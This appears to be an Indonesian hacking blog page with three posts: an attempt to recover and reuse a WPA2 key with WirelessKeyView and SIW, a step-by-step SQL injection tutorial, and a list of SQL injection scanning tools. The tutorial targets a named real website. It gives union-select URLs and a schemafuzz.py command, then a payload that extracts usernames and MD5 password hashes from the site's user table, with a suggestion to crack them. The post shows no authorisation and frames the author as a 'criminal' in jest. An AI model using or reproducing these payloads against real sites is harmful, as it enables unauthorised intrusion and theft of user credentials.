Penetration Test - SIW vs Wireless keyview

Target
Jaht - (diset sebagai access point)
wepkey menggunakan WPA2 (WPA-PSK)
koneksi menggunakan fastnet unlimite 356 kbps

Pelaku Kejahatan (huehehe)
Laptop Lenovo dengan wifi internal Broadcom 802.11g Network Adapter
OS Windows XP SP2

SIW here and Wireless Key View here

webtool
http://www.wifizard.com/wi-fi/convert.htm
http://www.csgnetwork.com/wepgeneratorcalc.html

Tujuan
apakah dengan mengetahui Key (Hex)
ex : 7f1d1dfadd4c3716d3a34f6fec0832fb51bfdc6466f27bae3fdd0bb7076ccea3
target bisa memberikan kita akses share internet dan segalanya?

Start
wardriving dengan wifi connection manager (windows)

ap tsb menggunakan wepkey WPA2 (WPA-PSK)
running wirelsskeyview dan siw, akhirnya didapatkan screen shoot dibawah ini

Wirelesskeyview




report WKV
SIW






report SIW

buka webtools untuk memecah bilangan hex tsb
http://www.wifizard.com/wi-fi/convert.htm
http://www.csgnetwork.com/wepgeneratorcalc.html
(blm nemu yang tools offlinenya)

hasilnya seperti ini
kemudian memasukkan hasil














Hasil
Gagal ... !!! WPA







connected namun hingga tiga jam proses accruing ip tidak kelar2 :p






WPA2 Mixed, klo wpa yang biasa bisa kejebol :p
mungkin pake ubuntu lebih cepat ya...:)

download here

Lanjut Baca....

SQL Injection dengan schemafuzz

SQL Injection mungkin bukan kata yang aneh lagi bagi para orang yang suka hacking khususnya website, Sebelumnya artikel ini ditujukan untuk anda yang tau tentang perintah SQL walaupun dikit. Oke lanjut kli ini kita akan mencoba teknik SQL Injection menggunakkan python code yaitu schemafuzz.py untuk download silahkan Klik Disini. Ingat karena ini merupakan python code jadi kita perlu menginstall python untuk menjalankannya untuk download program python silahkan langsung ke website python.org atau Klik disini, silahkan sesuaikan dengan sistem Operasi yang anda pakai.

Oke langsung aja y, setelah selesai download pythonnya langsung install aja, kemudian jalankan lewat DOS caranya masuk ke
start menu -> Run -> cmd atau command.
selanjutnya pindah ke directory python yang sudah kita install ketik cd\ lalu enter, ketikan cd Python26 -> Enter sesuaikan dengan versi python yang dipakai. kemudian copy schemafuzz.py yang sudah kita download tadi kedalam directory python.
langkah selanjutnya adalah cari target sasaran kali ini kita akan coba dengan target http://www.windsurfing.gr kita cari dulu SQL vulnerable nya, kita dapatkan pada komponent com_xsstream-dm component untuk streaming video, sekarang coba masukan perintah SQL

http://www.windsurfing.gr/index.php?option=com_xsstream-dm&itemid=69&movie=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*

lihat pesan kesalahannya dibawah ada angka 3

Setelah kita dapat kode kesalahan lanjutkan dengan schemafuzz.py untuk mendapatkan nama database, nama tabel dan nama kolom dalam tabel. caranya masuk ke DOS lagi terus ketikan :

C:\Python26>schemafuzz.py -u "http://www.windsurfing.gr/index.php?option=com_xsstream-dm&itemid=69&movie=-1+union+select+1,2,darkc0de,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*"

Rubah angka 3 yang ada diatas dengan darkc0de, hasilnya yang kita dapatkan seperti ini :

untuk mempelajari schemafuzz ini silahkan buka aja helpnya ketikan : schemafuzz.py -help.
dari gambar diatas kita bisa dapatkan Nama Database, User, Versi SQL yang digunakkan, Nama Tabel dan Nama Kolom dalam tabel.

setelah kita dapatkan semua,langkah selanjutnya extract kolom dalam tabel itu.



http://www.windsurfing.gr/index.php?option=com_xsstream-dm&itemid=69&movie=-1+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19,20,21,22+from+jos_users/*

hasilnya seperti ini :

dapat dech username dan password walaupun masih dalam bentuk MD5, selanjutnya cari sendiri y tool untuk MD5 decrypt cari aja di google. oke sekian dulu mudah-mudahan bermanfaat.

Lanjut Baca....

SQL Injection Scanners

1.SQLIer - SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all
2.SQLbftools - SQLbftools is a collection of tools to retrieve MySQL information available using a blind SQL Injection attack
3.SQL Injection Brute-forcer - SQLibf is a tool for automatizing the work of detecting and exploiting SQL Injection vulnerabilities. SQLibf can work in Visible and Blind SQL Injection. It works by doing simple logic SQL operations to determine the exposure level of the vulnerable application.
4.SQLBrute - SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn’t require non-standard libraries
5.SQID - SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities
6.NGSS SQL Injector - NGSS SQL Injector exploit vulnerabilities in SQL injection on disparate database servers to gain access to stored data. It currently supports the following databases: Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase
7.Absinthe - Absinthe is a GUI-based tool that automates the process of downloading the schema and contents of a database that is vulnerable to Blind SQL Injection

Lanjut Baca....